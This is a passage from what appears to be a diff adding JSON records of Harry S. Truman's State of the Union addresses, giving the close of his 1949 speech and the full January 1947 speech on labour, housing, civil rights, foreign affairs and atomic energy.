and\nto increase and stabilize foreign markets.We should give special attention to extending modern conveniences and\nservices to our farms. Rural electrification should be pushed forward. And\nin considering legislation relating to housing, education, health, and\nsocial security, special attention should be given to rural problems.Our growing population and the expansion of our economy depend upon the\nwise management of our land, water, forest, and mineral wealth. In our\npresent dynamic economy, the task of conservation is not to lockup our\nresources but to develop and improve them. Failure, today, to make the\ninvestments which are necessary to support our progress in the future would\nbe false economy.We must push forward the development of our rivers for power, irrigation,\nnavigation, and flood control. We should apply the lessons of our Tennessee\nValley experience to our other great river basins.I again recommend action be taken by the Congress to approve the St.\nLawrence Seaway and Power project. This is about the fifth time I have\nrecommended it.We must adopt a program for the planned use of the petroleum reserves under\nthe sea, which are--and must remain--vested in the Federal Government. We\nmust extend our programs of soil conservation. We must place our forests on\na sustained yield basis, and encourage the development of new sources of\nvital minerals.In all this we must make sure that the benefits of these public\nundertakings are directly available to the people. Public power should be\ncarried to consuming areas by public transmission lines where necessary to\nprovide electricity at the lowest possible rates. Irrigation waters should\nserve family farms and not land speculators.The Government has still other opportunities--to help raise the standard of\nliving of our citizens. These opportunities lie in the fields of social\nsecurity, health, education, housing, and civil rights.The present coverage of the social security laws is altogether inadequate;\nthe benefit payments are too low. One-third of our workers are not covered.\nThose who receive old-age and survivors insurance benefits receive an\naverage payment of only $25 a month. Many others who cannot work because\nthey are physically disabled are left to the mercy of charity. We should\nexpand our social security program, both as to the size of the benefits and\nthe extent of coverage, against the economic hazards due to unemployment,\nold age, sickness, and disability.We must spare no effort to raise the general level of health in this\ncountry. In a nation as rich as ours, it is a shocking fact that tens of\nmillions lack adequate medical care. We are short of doctors, hospitals,\nnurses. We must remedy these shortages. Moreover, we need--and we must have\nwithout further delay--a system of prepaid medical insurance which will\nenable every American to afford good medical care.It is equally shocking that millions of our children are not receiving a\ngood education. Millions of them are in overcrowded, obsolete buildings. We\nare short of teachers, because teachers' salaries are too low to attract\nnew teachers, or to hold the ones we have. All these school problems will\nbecome much more acute as a result of the tremendous increase in the\nenrollment in our elementary schools in the next few years. I cannot repeat\ntoo strongly my desire for prompt Federal financial aid to the States to\nhelp them operate and maintain their school systems.The governmental agency which now administers the programs of health,\neducation, and social security should be given full departmental status.The housing shortage continues to be acute. As an immediate step, the\nCongress should enact the provisions for low-rent public housing, slum\nclearance, farm housing, and housing research which I have repeatedly\nrecommended. The number of low-rent public housing units provided for in the\nlegislation should be increased to 1 million units in the next 7 years.\nEven this number of units will not begin to meet our need for new housing.Most of the houses we need will have to be built by private enterprise,\nwithout public subsidy. By producing too few rental units and too large a\nproportion of high-priced houses, the building industry is rapidly pricing\nitself out of the market. Building costs must be lowered.The Government is now engaged in a campaign to induce all segments of the\nbuilding industry to concentrate on the production of lower priced housing.\nAdditional legislation to encourage such housing will be submitted.The authority which I have requested, to allocate materials in short supply\nand to impose price ceilings on such materials, could be used, if found\nnecessary, to channel more materials into homes large enough for family\nlife at prices which wage earners can afford.The driving force behind our progress is our faith in our democratic\ninstitutions. That faith is embodied in the promise of equal rights and\nequal opportunities which the founders of our Republic proclaimed to their\ncountrymen and to the whole world.The fulfillment of this promise is among the highest purposes of\ngovernment. The civil rights proposals I made to the 80th Congress, I now\nrepeat to the 81st Congress. They should be enacted in order that the\nFederal Government may assume the leadership and discharge the obligations\ndearly placed upon it by the Constitution.I stand squarely behind those proposals.Our domestic programs are the foundation of our foreign policy. The world\ntoday looks to us for leadership because we have so largely realized,\nwithin our borders, those benefits of democratic government for which most\nof the peoples of the world are yearning.We are following a foreign policy which is the outward expression of the\ndemocratic faith we profess. We are doing what we can to encourage free\nstates and free peoples throughout the world, to aid the suffering and\nafflicted in foreign lands, and to strengthen democratic nations against\naggression.The heart of our foreign policy is peace. We are supporting a world\norganization to keep peace and a world economic policy to create prosperity\nfor mankind. Our guiding star is the principle of international\ncooperation. To this concept we have made a national commitment as profound\nas anything in history.To it we have pledged our resources and our honor.Until a system of world security is established upon which we can safely\nrely, we cannot escape the burden of creating and maintaining armed forces\nsufficient to deter aggression. We have made great progress in the last\nyear in the effective organization of our Armed Forces, but further\nimprovements in our national security legislation are necessary. Universal\ntraining is essential to the security of the United States.During the course of this session I shall have occasion to ask the Congress\nto consider several measures in the field of foreign policy. At this time,\nI recommend that we restore the Reciprocal Trade Agreements Act to full\neffectiveness, and extend it for 3 years. We should also open our doors to\ndisplaced persons without unfair discrimination.It should be clear by now to all citizens that we are not seeking to freeze\nthe status quo. We have no intention of preserving the injustices of the\npast. We welcome the constructive efforts being made by many nations to\nachieve a better life for their citizens. In the European recovery program,\nin our good-neighbor policy and in the United Nations, we have begun to\nbatter down those national walls which block the economic growth and the\nsocial advancement of the peoples of the world.We believe that if we hold resolutely to this course, the principle of\ninternational cooperation will eventually command the approval even of\nthose nations which are now seeking to weaken or subvert it.We stand at the opening of an era which can mean either great achievement\nor terrible catastrophe for ourselves and for all mankind.The strength of our Nation must continue to be used in the interest of all\nour people rather than a privileged few. It must continue to be used\nunselfishly in the struggle for world peace and the betterment of mankind\nthe world over.This is the task before us.It is not an easy one. It has many complications, and there will be strong\nopposition from selfish interests.I hope for cooperation from farmers, from labor, and from business. Every\nsegment of our population and every individual has a right to expect from\nour Government a fair deal.In 1945, when I came down before the Congress for the first time on April\n16, I quoted to you King Solomon's prayer that he wanted wisdom and the\nability to govern his people as they should be governed. I explained to you\nat that time that the task before me was one of the greatest in the history\nof the world, and that it was necessary to have the complete cooperation of\nthe Congress and the people of the United States.Well now, we are taking a new start with the same situation. It is\nabsolutely essential that your President have the complete cooperation of\nthe Congress to carry out the great work that must be done to keep the\npeace in this world, and to keep this country prosperous.The people of this great country have a right to expect that the Congress\nand the President will work in closest cooperation with one objective--the\nwelfare of the people of this Nation as a whole.In the months ahead I know that I shall be able to cooperate with this\nCongress.Now, I am confident that the Divine Power which has guided us to this time\nof fateful responsibility and glorious opportunity will not desert us now.With that help from Almighty God which we have humbly acknowledged at every\nturning point in our national life, we shall be able to perform the great\ntasks which He now sets before us.", 
+    "name": "Harry S. Truman"
+}
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+{
+    "date": "January 6, 1947", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Congress of the United States:It looks like a good many of you have moved over to the left since I was\nhere last!I come before you today to report on the State of the Union and, in the\nwords of the Constitution, to recommend such measures as I judge necessary\nand expedient.I come also to welcome you as you take up your duties and to discuss with\nyou the manner in which you and I should fulfill our obligations to the\nAmerican people during the next 2 years.The power to mold the future of this Nation lies in our hands--yours and\nmine, and they are joined together by the Constitution.If in this year, and in the next, we can find the right course to take as\neach issue arises, and if, in spite of all difficulties, we have the\ncourage and the resolution to take that course, then we shall achieve a\nstate of well-being for our people without precedent in history. And if we\ncontinue to work with the other nations of the world earnestly, patiently,\nand wisely, we can--granting a will for peace on the part of our\nneighbors-make a lasting peace for the world.But, if we are to realize these ends, the Congress and the President,\nduring the next 2 years, must work together. It is not unusual in our\nhistory that the majority of the Congress represents a party in opposition\nto the President's party. I am the twentieth President of the United States\nwho, at some time during his term of office, has found his own party to be\nin the minority in one or both Houses of Congress. The first one was George\nWashington. Wilson was number eighteen, and Hoover was number nineteen.I realize that on some matters the Congress and the President may have\nhonest differences of opinion. Partisan differences, however, did not cause\nmaterial disagreements as to the conduct of the war. Nor, in the conduct of\nour international relations, during and since the war, have such partisan\ndifferences been material.On some domestic issues we may, and probably shall, disagree. That in\nitself is not to be feared. It is inherent in our form of Government. But\nthere are ways of disagreeing; men who differ can still work together\nsincerely for the common good. We shall be risking the Nation's safety and\ndestroying our opportunities for progress if we do not settle any\ndisagreements in this spirit, without thought of partisan advantage.THE GENERAL DOMESTIC ECONOMYAs the year 1947 begins, the state of our national economy presents great\nopportunities for all. We have virtually full employment. Our national\nproduction of goods and services is 50 percent higher than in any year\nprior to the war emergency. The national income in 1946 was higher than in\nany peacetime year. Our food production is greater than it has ever been.\nDuring the last 5 years our productive facilities have been expanded in\nalmost every field. The American standard of living is higher now than ever\nbefore, and when the housing shortage can be overcome it will be even\nhigher.During the past few months we have removed at a rapid rate the emergency\ncontrols that the Federal Government had to exercise during the war. The\nremaining controls will be retained only as long as they are needed to\nprotect the public. Private enterprise must be given the greatest possible\nfreedom to continue the expansion of economy.In my proclamation of December 31, 1946 I announced the termination of\nhostilities. This automatically ended certain temporary legislation and\ncertain executive powers.Two groups of temporary laws still remain: the first are those which by\nCongressional mandate are to last during the \"emergency\"; the second are\nthose which are to continue until the \"termination of the war,\"I shall submit to the Congress recommendations for the repeal of certain of\nthe statutes which by their terms continue for the duration of the\n\"emergency.\" I shall at the same time recommend that others within this\nclassification be extended until the state of war has been ended by treaty\nor by legislative action. As to those statutes which continue until the\nstate of war has been terminated, I urge that the Congress promptly\nconsider each statute individually, and repeal such emergency legislation\nwhere it is advisable.Now that nearly all wartime controls have been removed, the operation of\nour industrial system depends to a greater extent on the decisions of\nbusinessmen, farmers, and workers. These decisions must be wisely made with\ngenuine concern for public welfare. The welfare of businessmen, farmers,\nand workers depends upon the economic well-being of those who buy their\nproducts.An important present source of danger to our economy is the possibility\nthat prices might be raised to such an extent that the consuming public\ncould not purchase the tremendous volume of goods and services which will\nbe produced during 1947.We all know that recent price increases have denied to many of our workers\nmuch of the value of recent wage increases. Farmers have found that a large\npart of their increased income has been absorbed by increased prices. While\nsome of our people have received raises in income which exceed price\nincreases, the great majority have not. Those persons who live on modest\nfixed incomes--retired persons living on pensions, for example--and workers\nwhose incomes are relatively inflexible, such as teachers and other civil\nservants--have suffered hardship.In the effort to bring about a sound and equitable price structure, each\ngroup of our population has its own responsibilities.It is up to industry not only to hold the line on existing prices, but to\nmake reductions whenever profits justify such action.It is up to labor to refrain from pressing for unjustified wage increases\nthat will force increases in the price level.And it is up to Government to do everything in its power to encourage\nhigh-volume Production, for that is what makes possible good wages, low\nprices, and reasonable profits.In a few days there will be submitted to the Congress the Economic Report\nof the President, and also the Budget Message. Those messages will contain\nmany recommendations. Today I shall outline five major economic policies\nwhich I believe the Government should pursue during 1947. These policies\nare designed to meet our immediate needs and, at the same time, to provide\nfor the long-range welfare of our free enterprise system:First, the promotion of greater harmony between labor and management.Second, restriction of monopoly and unfair business practices; assistance\nto small business; and the promotion of the free competitive system of\nprivate enterprise.Third, continuation of an aggressive program of home construction.Fourth, the balancing of the budget in the next fiscal year and the\nachieving of a substantial surplus to be applied to the reduction of the\npublic debt.Fifth, protection of a fair level of return to farmers in post-war\nagriculture.LABOR AND MANAGEMENTThe year just past--like the year after the first World War--was marred by\nlabor management strife.Despite this outbreak of economic warfare in 1946, we are today producing\ngoods and services in record volume. Nevertheless, it is essential to\nimprove the methods for reaching agreement between labor and management and\nto reduce the number of strikes and lockouts.We must not, however, adopt punitive legislation. We must not in order to\npunish a few labor leaders, pass vindictive laws which will restrict the\nproper rights of the rank and file of labor. We must not, under the stress\nof emotion, endanger our American freedoms by taking ill-considered action\nwhich will lead to results not anticipated or desired.We must remember, in reviewing the record of disputes in 1946, that\nmanagement shares with labor the responsibility for failure to reach\nagreements which would have averted strikes. For that reason, we must\nrealize that industrial peace cannot be achieved merely by laws directed\nagainst labor unions.During the last decade and a half, we have established a national labor\npolicy in this country based upon free collective bargaining as the process\nfor determining wages and working conditions.That is still the national policy.And it should continue to be the national policy!But as yet, not all of us have learned what it means to bargain freely and\nfairly. Nor have all of us learned to carry the mutual responsibilities\nthat accompany the right to bargain. There have been abuses and harmful\npractices which limit the effectiveness of our system of collective\nbargaining. Furthermore, we have lacked sufficient governmental machinery\nto aid labor and management in resolving their differences.Certain labor-management problems need attention at once and certain\nothers, by reason of their complexity, need exhaustive investigation and\nstudy.We should enact legislation to correct certain abuses and to provide\nadditional governmental assistance in bargaining. But we should also\nconcern ourselves with the basic causes of labor-management difficulties.In the light of these considerations, I propose to you and urge your\ncooperation in effecting the following four-point program to reduce\nindustrial strife:Point number one is the early enactment of legislation to prevent certain\nunjustifiable practices.First, under this point, are jurisdictional strikes. In such strikes the\npublic and the employer are innocent bystanders who are injured by a\ncollision between rival unions. This type of dispute hurts production,\nindustry, and the public--and labor itself. I consider jurisdictional\nstrikes indefensible.The National Labor Relations Act provides procedures for determining which\nunion represents employees of a particular employer. In some jurisdictional\ndisputes, however, minority unions strike to compel employers to deal with\nthem despite a legal duty to bargain with the majority union. Strikes to\ncompel an employer to violate the law are inexcusable. Legislation to\nprevent such strikes is clearly desirable.Another form of inter-union disagreement is the jurisdictional strike\ninvolving the question of which labor union is entitled to perform a\nparticular task. When rival unions are unable to settle such disputes\nthemselves, provision must be made for peaceful and binding determination\nof the issues.A second unjustifiable practice is the secondary boycott, when used to\nfurther jurisdictional disputes or to compel employers to violate the\nNational Labor Relations Act.Not all secondary boycotts are unjustified. We must judge them on the basis\nof their objectives. For example, boycotts intended to protect wage rates\nand working conditions should be distinguished from those in furtherance of\njurisdictional disputes. The structure of industry sometimes requires\nunions, as a matter of self-preservation, to extend the conflict beyond a\nparticular employer. There should be no blanket prohibition against\nboycotts. The appropriate goal is legislation which prohibits secondary\nboycotts in pursuance of unjustifiable objectives, but does not impair the\nunion's right to preserve its own existence and the gains made in genuine\ncollective bargaining.A third practice that should be corrected is the use of economic force, by\neither labor or management, to decide issues arising out of the\ninterpretation of existing contracts.Collective bargaining agreements, like other contracts, should be\nfaithfully adhered to by both parties. In the most enlightened\nunion-management relationships, disputes over the interpretation of\ncontract terms are settled peaceably by negotiation or arbitration.\nLegislation should be enacted to provide machinery whereby unsettled\ndisputes concerning the interpretation of an existing agreement may be\nreferred by either party to final and binding arbitration.Point number two is the extension of facilities within the Department of\nLabor for assisting collective bargaining.One of our difficulties in avoiding labor strife arises from a lack of\norder in the collective bargaining process. The parties often do not have a\ndear understanding of their responsibility for settling disputes through\ntheir own negotiations. We constantly see instances where labor or\nmanagement resorts to economic force without exhausting the possibilities\nfor agreement through the bargaining process. Neither the parties nor the\nGovernment have a definite yardstick for determining when and how\nGovernment assistance should be invoked. There is need for integrated\ngovernmental machinery to provide the successive steps of mediation,\nvoluntary arbitration, and--ultimately in appropriate cases--ascertainment\nof the facts of the dispute and the reporting of the facts to the public.\nSuch machinery would facilitate and expedite the settlement of disputes.Point number three is the broadening of our program of social legislation\nto alleviate the causes of workers' insecurity.On June 11, 1946, in my message vetoing the Case Bill, I made a\ncomprehensive statement of my views concerning labor-management relations.\nI said then, and I repeat now, that the solution of labor-management\ndifficulties is to be found not only in legislation dealing directly with\nlabor relations, but also in a program designed to remove the causes of\ninsecurity felt by many workers in our industrial society. In this\nconnection, for example, the Congress should consider the extension and\nbroadening of our social security system, better housing, a comprehensive\nnational health program, and provision for a fair minimum wage.Point number four is the appointment of a Temporary Joint Commission to\ninquire into the entire field of labor-management relations.I recommend that the Congress provide for the appointment of a Temporary\nJoint Commission to undertake this broad study.The President, the Congress, and management and labor have a continuing\nresponsibility to cooperate in seeking and finding the solution of these\nproblems. I therefore recommend that the Commission be composed as follows:\ntwelve to be chosen by the Congress from members of both parties in the\nHouse and the Senate, and eight representing the public, management and\nlabor, to be appointed by the President.The Commission should be charged with investigating and making\nrecommendations upon certain major subjects, among others:First, the special and unique problem of nationwide strikes in vital\nindustries affecting the public interest. In particular, the Commission\nshould examine into the question of how to settle or prevent such strikes\nwithout endangering our general democratic freedoms.Upon a proper solution of this problem may depend the whole industrial\nfuture of the United States. The paralyzing effects of a nationwide strike\nin such industries as transportation, coal, oil, steel, or communications\ncan result in national disaster. We have been able to avoid such disaster,\nin recent years, only by the use of extraordinary war powers. All those\npowers will soon be gone. In their place there must be created an adequate\nsystem and effective machinery in these vital fields. This problem will\nrequire careful study and a bold approach, but an approach consistent with\nthe preservation of the rights of our people. The need is pressing. The\nCommission should give this its earliest attention.Second, the best methods and procedures for carrying out the collective\nbargaining process. This should include the responsibilities of labor and\nmanagement to negotiate freely and fairly with each other, and to refrain\nfrom strikes or lockouts until all possibilities of negotiation have been\nexhausted.Third, the underlying causes of labor management disputes.Some of the subjects presented here for investigation involve long-range\nstudy. Others can be considered immediately by the Commission and its\nrecommendations can be submitted to the Congress in the near future.I recommend that this Commission make its first report, including specific\nlegislative recommendations, not later than March 15, 1947.RESTRICTION Of MONOPOLY AND PROMOTION OF PRIVATE ENTERPRISEThe second major policy I desire to lay before you has to do with the\ngrowing concentration of economic power and the threat to free competitive\nprivate enterprise. In 1941 the Temporary National Economic Committee\ncompleted a comprehensive investigation into the workings of the national\neconomy. The Committee's study showed that, despite a half century of\nanti-trust law enforcement, one of the gravest threats to our welfare lay\nin the increasing concentration of power in the hands of a small number of\ngiant organizations.During the war, this long-standing tendency toward economic concentration\nwas accelerated. As a consequence, we now find that to a greater extent\nthan ever before, whole industries are dominated by one or a few large\norganizations which can restrict production in the interest of higher\nprofits and thus reduce employment and purchasing power.In an effort to assure full opportunity and free competition to business we\nwill vigorously enforce the anti-trust laws. There is much the Congress can\ndo to cooperate and assist in this program.To strengthen and enforce the laws that regulate business practices is not\nenough. Enforcement must be supplemented by positive measures of aid to new\nenterprises. Government assistance, research programs, and credit powers\nshould be designed and used to promote the growth of new firms and new\nindustries. Assistance to small business is particularly important at this\ntime when thousands of veterans who are potential business and industrial\nleaders are beginning their careers.We should also give special attention to the decentralization of industry\nand the development of areas that are now under-industrialized.HOUSINGThe third major policy is also of great importance to the national economy:\nan aggressive program to encourage housing construction. The first federal\nprogram to relieve the veterans' housing shortage was announced in February\n1946. In 1946 one million family housing units have been put under\nconstruction and more than 665,000 units have already been completed. The\nrate of expansion in construction has broken all records.In the coming year the number of dwelling units built will approach, if not\nsurpass, the top construction year of 1926. The primary responsibility to\ndeliver housing at reasonable prices that veterans can afford rests with\nprivate industry and with labor. The Government will continue to expedite\nthe flow of key building materials, to limit nonresidential construction,\nand to give financial support where it will do the most good. Measures to\nstimulate rental housing and new types of housing construction will receive\nspecial emphasis.To reach our long-range goal of adequate housing for all our people,\ncomprehensive housing legislation is urgently required, similar to the\nnon-partisan bill passed by the Senate last year. At a minimum, such\nlegislation should open the way for rebuilding the blighted areas of our\ncities and should establish positive incentives for the investment of\nbillions of dollars of private capital in large-scale rental housing\nprojects. It should provide for improvement of housing in rural areas and\nfor the construction, over a 4-year period, of half a million units of\npublic low-rental housing. It should authorize a single peacetime federal\nhousing agency to assure efficient use of our resources on the vast housing\nfront.FISCAL AFFAIRSThe fourth major policy has to do with the balancing of the budget. In a\nprosperous period such as the present one, the budget of the Federal\nGovernment should be balanced. Prudent management of public finance\nrequires that we begin the process of reducing the public debt. The budget\nwhich I shall submit to you this week has a small margin of surplus. In the\nBudget Message I am making recommendations which, if accepted, will result\nin a substantially larger surplus which should be applied to debt\nretirement. One of these recommendations is that the Congress take early\naction to continue throughout the next fiscal year the war excise tax rates\nwhich, under the present law, will expire on June 30, 1947.Expenditures relating to the war are still high. Considerable sums are\nrequired to alleviate world famine and suffering. Aid to veterans will\ncontinue at peak level. The world situation is such that large military\nexpenditures are required. Interest on the public debt and certain other\ncosts are irreducible. For these reasons I have had to practice stringent\neconomy in preparing the budget; and I hope that the Congress will\ncooperate in this program of economy.AGRICULTUREThe fifth major policy has to do with the welfare of our farm population.Production of food reached record heights in 1946. Much of our tremendous\ngrain crop can readily be sold abroad and thus will become no threat to our\ndomestic markets. But in the next few years American agriculture can face\nthe same dangers it did after World War I. In the early twenties the Nation\nfailed to maintain outlets for the new productive capacity of our\nagricultural plant. It failed to provide means to protect the farmer while\nhe adjusted his acreage to peacetime demands.The result we all remember too well. Farm production stayed up while demand\nand prices fell, in contrast with industry where prices stayed up and\noutput declined, farm surpluses piled up, and disaster followed.We must make sure of meeting the problems which we failed to meet after the\nfirst World War. Present laws give considerable stability to farm prices\nfor 1947 and 1948, and these 2 years must be utilized to maintain and\ndevelop markets for our great productive power.The purpose of these laws was to permit an orderly transition from war to\npeace. The Government plan of support prices was not designed to absorb, at\ngreat cost, the unlimited surpluses of a highly productive agriculture.We must not wait until the guarantees expire to set the stage for permanent\nfarm welfare.The farmer is entitled to a fair income.Ways can be found to utilize his new skills and better practices, to expand\nhis markets at home and abroad, and to carry out the objectives of a\nbalanced pattern of peacetime production without either undue sacrifice by\nfarm people or undue expense to the Government.HEALTH AND GENERAL WELFAREOf all our national resources, none is of more basic value than the health\nof our people. Over a year ago I presented to the Congress my views on a\nnational health program. The Congress acted on several of the\nrecommendations in this program-mental health, the health of mothers and\nchildren, and hospital construction. I urge this Congress to complete the\nwork begun last year and to enact the most important recommendation of the\nprogram--to provide adequate medical care to all who need it, not as\ncharity but on the basis of payments made by the beneficiaries of the\nprogram.One administrative change would help greatly to further our national\nprogram in the fields of health, education, and welfare. I again recommend\nthe establishment of a well-integrated Department of Welfare.VETERANSFourteen million World War II servicemen have returned to civil life. The\ngreat majority have found their places as citizens of their communities and\ntheir Nation. It is a tribute to the fiber of our servicemen and to the\nflexibility of our economy that these adjustments have been made so rapidly\nand so successfully.More than two million of these veterans are attending schools or acquiring\njob skills through the financial assistance of the Federal Government.\nThousands of sick and wounded veterans are daily receiving the best of\nmedical and hospital care. Half a million have obtained loans, with\nGovernment guarantees, to purchase homes or farms or to embark upon new\nbusinesses. Compensation is being paid in almost two million cases for\ndisabilities or death. More than three million are continuing to maintain\ntheir low-cost National Service Life Insurance policies. Almost seven\nmillion veterans have been aided by unemployment and self-employment\nallowances.Exclusive of mustering-out payments and terminal leave pay, the program for\nveterans of all wars is costing over seven billion dollars a\nyear--one-fifth of our total federal budget. This is the most far-reaching\nand complete veterans program ever conceived by any nation.Except for minor adjustments, I believe that our program of benefits for\nveterans is now complete. In the long run, the success of the program will\nnot be measured by the number of veterans receiving financial aid or by the\nnumber of dollars we spend. History will judge us not by the money we\nspend, but by the further contribution we enable our veterans to make to\ntheir country. In considering any additional legislation, that must be our\ncriterion.CIVIL RIGHTSWe have recently witnessed in this country numerous attacks upon the\nconstitutional rights of individual citizens as a result of racial and\nreligious bigotry. Substantial segments of our people have been prevented\nfrom exercising fully their right to participate in the election of public\nofficials, both locally and nationally. Freedom to engage in lawful\ncallings has been denied.The will to fight these crimes should be in the hearts of every one of us.For the Federal Government that fight is now being carried on by the\nDepartment of Justice to the full extent of the powers that have been\nconferred upon it. While the Constitution withholds from the Federal\nGovernment the major task of preserving peace in the several States, I am\nnot convinced that the present legislation reached the limit of federal\npower to protect the civil rights of its citizens.I have, therefore, by Executive Order,[1] established the President's\nCommittee on Civil Rights to study and report on the whole problem of\nfederally-secured civil rights, with a view to making recommendations to\nthe Congress.[Footnote 1: Executive Order 9808 (3 CFR, 1943-1948 Comp., p. 590.)]NATURAL RESOURCESIn our responsibility to promote the general welfare of the people, we have\nalways to consider the natural resources of our country. They are the\nfoundation of our life. In the development of the great river systems of\nAmerica there is the major opportunity of our generation to contribute to\nthe increase of the national wealth. This program is already well along; it\nshould be pushed with full vigor.I must advise the Congress that we are rapidly becoming a \"have not\" Nation\nas to many of our minerals. The economic progress and the security of our\ncountry depend upon an expanding return of mineral discovery and upon\nimproved methods of recovery. The Federal Government must do its part to\nmeet this need.FOREIGN AFFAIRSProgress in reaching our domestic goals is closely related to our conduct\nof foreign affairs. All that I have said about maintaining a sound and\nprosperous economy and improving the welfare of our people has greater\nmeaning because of the world leadership of the United States. What we do,\nor fail to do, at home affects not only ourselves but millions throughout\nthe world. If we are to fulfill our responsibilities to ourselves and to\nother peoples, we must make sure that the United States is sound\neconomically, socially, and politically. Only then will we be able to help\nbring about the elements of peace in other countries--political stability,\neconomic advancement, and social progress.Peace treaties for Italy, Bulgaria, Rumania, and Hungary have finally been\nprepared. Following the signing of these treaties next month in Paris, they\nwill be submitted to the Senate for ratification. This Government does not\nregard the treaties as completely satisfactory. Whatever their defects,\nhowever, I am convinced that they are as good as we can hope to obtain by\nagreement among the principal wartime Allies. Further dispute and delay\nwould gravely jeopardize political stability in the countries concerned for\nmany years.During the long months of debate on these treaties, we have made it clear\nto all nations that the United States will not consent to settlements at\nthe expense of principles we regard as vital to a just and enduring peace.\nWe have made it equally dear that we will not retreat to isolationism. Our\npolicies will be the same during the forthcoming negotiations in Moscow on\nthe German and Austrian treaties, and during the future conferences on the\nJapanese treaty.The delay in arriving at the first peace settlements is due partly to the\ndifficulty of reaching agreement with the Soviet Union on the terms of\nsettlement. Whatever differences there may have been between us and the\nSoviet Union, however, should not be allowed to obscure the fact that the\nbasic interests of both nations lie in the early making of a peace under\nwhich the peoples of all countries may return, as free men and women, to\nthe essential tasks of production and reconstruction. The major concern of\neach of us should be the promotion of collective security, not the\nadvancement of individual security.Our policy toward the Soviet Union is guided by the same principles which\ndetermine our policies toward all nations. We seek only to uphold the\nprinciples of international justice which have been embodied in the Charter\nof the United Nations.We must now get on with the peace settlements. The occupying powers should\nrecognize the independence of Austria and withdraw their troops. The\nGermans and the Japanese cannot be left in doubt and fear as to their\nfuture; they must know their national boundaries, their resources, and what\nreparations they must pay. Without trying to manage their internal affairs,\nwe can insure that these countries do not re-arm.INTERNATIONAL RELIEF AND DISPLACED PERSONSThe United States can be proud of its part in caring for the peoples\nreduced to want by the ravages of war, and in aiding nations to restore\ntheir national economies. We have shipped more supplies to the hungry\npeoples of the world since the end of the war than all other countries\ncombined!However, insofar as admitting displaced persons is concerned, I do not feel\nthat the United States has done its part. Only about 5,000 of them have\nentered this country since May, 1946. The fact is that the executive\nagencies are now doing all that is reasonably possible under the limitation\nof the existing law and established quotas. Congressional assistance in the\nform of new legislation is needed. I urge the Congress to turn its\nattention to this world problem, in an effort to find ways whereby we can\nfulfill our responsibilities to these thousands of homeless and suffering\nrefugees of all faiths.INTERNATIONAL TRADEWorld economic cooperation is essential to world political cooperation. We\nhave made a good start on economic cooperation through the International\nBank, the International Monetary fund, and the Export-Import Bank. We must\nnow take other steps for the reconstruction of world trade and we should\ncontinue to strive for an international trade system as free from\nobstructions as possible.ATOMIC ENERGYThe United States has taken the lead in the endeavor to put atomic energy\nunder effective international control. We seek no monopoly for ourselves or\nfor any group of nations. We ask only that there be safeguards sufficient\nto insure that no nation will be able to use this power for military\npurposes. So long as all governments are not agreed on means of\ninternational control of atomic energy, the shadow of fear will obscure the\nbright prospects for the peaceful use of this enormous power.In accordance with the Atomic Energy Act of 1946, the Commission\nestablished under that law is assuming full jurisdiction over domestic\natomic energy enterprise. The program of the Commission will, of course, be\nworked out in close collaboration with the military services in conformity\nwith the wish of the Congress, but it is my fervent hope that the military\nsignificance of atomic energy will steadily decline. We look to the\nCommission to foster the development of atomic energy for industrial use\nand scientific and medical research. In the vigorous and effective\ndevelopment of peaceful uses of atomic energy rests our hope that this new\nforce may ultimately be turned into a blessing for all nations.MILITARY POLICYIn 1946 the Army and Navy completed the demobilization of their wartime\nforces. They are now maintaining the forces which we need for national\ndefense and to fulfill our international obligations.We live in a world in which strength on the part of peace-loving nations is\nstill the greatest deterrent to aggression. World stability can be\ndestroyed when nations with great responsibilities neglect to maintain the\nmeans of discharging those responsibilities.This is an age when unforeseen attack could come with unprecedented speed.\nWe must be strong enough to defeat, and thus forestall, any such attack. In\nour steady Progress toward a more rational world order, the need for large\narmed forces is progressively declining; but the stabilizing force of\nAmerican military strength must not be weakened until our hopes are fully\nrealized. When a system of collective security under the United Nations has\nbeen established, we shall be willing to lead in collective disarmament,\nbut, until such a system becomes a reality, we must not again allow\nourselves to become weak and invite attack.For those reasons, we need well-equipped, well-trained armed forces and we\nmust be able to mobilize rapidly our resources in men and material for our\nown defense, should the need arise.The Army will be reduced to 1,070,000 officers and men by July 1, 1947.\nHalf of the Army will be used for occupation duties abroad and most of the\nremainder will be employed at home in the support of these overseas\nforces.The Navy is supporting the occupation troops in Europe and in the Far East.\nIts fundamental mission--to support our national interests wherever\nrequired--is unchanged. The Navy, including the Marine Corps, will average\n571,000 officers and men during the fiscal year 1948.We are encountering serious difficulties in maintaining our forces at even\nthese reduced levels. Occupation troops are barely sufficient to carry out\nthe duties which our foreign policy requires. Our forces at home are at a\npoint where further reduction is impracticable. We should like an Army and\na Navy composed entirely of long-term volunteers, but in spite of liberal\ninducements the basic needs of the Army are not now being met by voluntary\nenlistments.The War Department has advised me that it is unable to make an accurate\nforecast at the present time as to whether it will be possible to maintain\nthe strength of the Army by relying exclusively on volunteers. The\nsituation will be much clearer in a few weeks, when the results of the\ncampaign for volunteers are known. The War Department will make its\nrecommendations as to the need for the extension of Selective Service in\nsufficient time to enable the Congress to take action prior to the\nexpiration of the present law on March 31st. The responsibility for\nmaintaining our armed forces at the strength necessary for our national\nsafety rests with the Congress.The development of a trained citizen reserve is also vital to our national\nsecurity. This can best be accomplished through universal training. I have\nappointed an Advisory Commission on Universal Training to study the various\nplans for a training program, and I expect that the recommendations of the\nCommission will be of benefit to the Congress and to me in reaching\ndecisions on this problem.The cost of the military establishment is substantial. There is one certain\nway by which we can cut costs and at the same time enhance our national\nsecurity. That is by the establishment of a single Department of National\nDefense. I shall communicate with the Congress in the near future with\nreference to the establishment of a single Department of National Defense.National security does not consist only of an army, a navy, and an air\nforce. It rests on a much broader basis. It depends on a sound economy of\nprices and wages, on prosperous agriculture, on satisfied and productive\nworkers, on a competitive private enterprise free from monopolistic\nrepression, on continued industrial harmony and production, on civil\nliberties and human freedoms-on all the forces which create in our men and\nwomen a strong moral fiber and spiritual stamina.But we have a higher duty and a greater responsibility than the attainment\nof our own national security. Our goal is collective security for all\nmankind.If we can work in a spirit of understanding and mutual respect, we can\nfulfill this solemn obligation which rests upon us.The spirit of the American people can set the course of world history. If\nwe maintain and strengthen our cherished ideals, and if we share our great\nbounty with war-stricken people over the world, then the faith of our\ncitizens in freedom and democracy will be spread over the whole earth and\nfree men everywhere will share our devotion to those ideals.Let us have the will and the patience to this job together.May the Lord strengthen us in our faith.May He give us wisdom to lead the peoples of the world in His ways of\npeace.", 
+    "name": "Harry S. Truman"
+}
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+{
+    "date": "January 7, 1948", 
